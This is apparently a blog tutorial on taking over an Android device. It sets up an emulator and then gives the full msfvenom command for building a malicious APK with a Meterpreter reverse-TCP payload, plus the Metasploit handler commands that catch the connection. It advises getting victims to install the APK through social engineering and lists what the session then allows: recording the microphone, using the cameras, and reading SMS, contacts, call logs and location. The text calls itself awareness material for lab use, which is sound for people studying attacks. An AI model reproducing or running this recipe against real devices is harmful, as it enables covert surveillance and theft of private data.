How to take control of an Android device in less than 1 minute

As is publicly known, the Android operating system covers approximately 85% of the market, surpassing Apple and Windows Phone. That's why it's so important to show some of the attacks that can be performed to raise awareness about the security of devices and the information a user exposes on their devices.<br /><br /><br /><br />First of all, good morning, today we're going to deal with a very recurring topic that many people believe they are exempt from, the attack on Android devices. I'm going to try to demonstrate how, with a couple of simple command lines and a bit of social engineering, we can access an Android device. Always remember to work in a LABORATORY environment.<br /><br />WE NEED:<br /><br />    1 Virtual Machine with KALI 2.0 or Backtrack (we're going to use Metasploit)<br />    1 Virtual Machine with Android<br /><br />LET'S START:<br /><br />The creation of the virtual machine with KALI is explained in the previous POST so that is discarded, now we are going to focus on the creation of the virtual machine with ANDROID which, particularly for me, was quite difficult to find something that resembles an Android device as closely as possible, that is also easy and fast since generally the virtualization of this type of device consumes quite a lot of resources.<br /><br />In this case I'm going to use Genymotion, an Android emulator that takes advantage of the x86 architecture to smoothly and quickly run different Android devices. Forgetting the slowness of the native Android emulator, we can run all kinds of applications and games on our Windows, Mac or Linux. One of the main uses of Genymotion is to facilitate the development of Android applications. Almost more than 900,000 registered users use its virtual machines to create applications using Eclipse or IntelliJ. They integrate perfectly with adb, command line and the different development environments. We can launch in just a couple of seconds the applications connected to the ADT from the IDE to test it. A lot of time saved. Genymotion is based on the use of x86 virtual machines optimized to run on Virtual Box. Many will recognize similar projects, but the Genymotion people have managed to create a simple interface capable of supporting different functionalities accessible to any user, without forgetting developers (their main target and business model).<br /><br />Here I leave you the link to download it: Los enlaces son solo para miembros. Registrate o iniciá sesión (clarification, first you must create a user, since it is required to download the device later).<br /><br />Once Genymotion is downloaded you can download by Android version (currently it has from version 2.3.7 to 5.1.0) or by Device where you can choose brands among SONY, SAMSUNG, HTC, MOTOROLA, GOOGLE among others, each of the versions with different requirements.<br /><br /><br /><br />Once we finish downloading the device version we need, it looks more or less like this: (in my case I downloaded the Nexus 5 model with Android 4.4.4)<br /><br /><br /><br />All you have left is to click on "Start" to turn on the virtual machine and have it look like the following:<br /><br /><br /><br />Done! I already have my Nexus 5 running and ready to do whatever tests I need!<br /><br />Now let's go to KALI to prepare the malicious application (Application Package File or ".APK")<br /><br />We create the malicious file, for that we use MSFVENOM from a terminal:<br /><br />msfvenom -p android/meterpreter/reverse_tcp LHOST=IP_KALI LPORT=Puerto_KALI R > /root/AplicacionMaliciosa.apk<br /><br /><br /><br />Done, I already have my malicious APK:<br /><br /><br /><br />The next thing is to leave it "listening" from KALI until the victim runs the application, for that we open METASPLOIT and configure it as follows:<br /><br />msfconsole<br />use exploit/multi/handler<br />set payload android/meterpreter/reverse_tcp<br />set LHOST IP_KALI<br />set LPORT Puerto_KALI<br />exploit<br /><br /><br /><br />Now we must send the malicious APK to our victim using a bit of Social Engineering<br />and we just have to wait for the victim to run it, after that we will obtain the following:<br /><br /><br /><br /><br /><br /><br /><br />Done!!! A Meterpreter session connected to our victim, in this case you can see that the "sysinfo" command tells me that the victim has an Android 4.4.4<br /><br />With the HELP command we can see what actions we can do on the device, many of the actions were already explained in previous POSTs, but the particular actions for Android are:<br /><br />    Record with the Microphone<br />    Take Photos with both cameras (Front and Rear)<br />    Stream from the selected camera<br />    Verify if the device is ROOTED<br />    Get the list of calls<br />    Get the list of Contacts<br />    Get the SMS<br />    Get the Location of the Device<br />    Send SMS<br />    Among other things...<br /><br /><br /><br />¡! CLARIFICATION !¡: The device has to ALLOW the use of applications from Unknown Sources.<br /><br /><br /><br />Author: Matias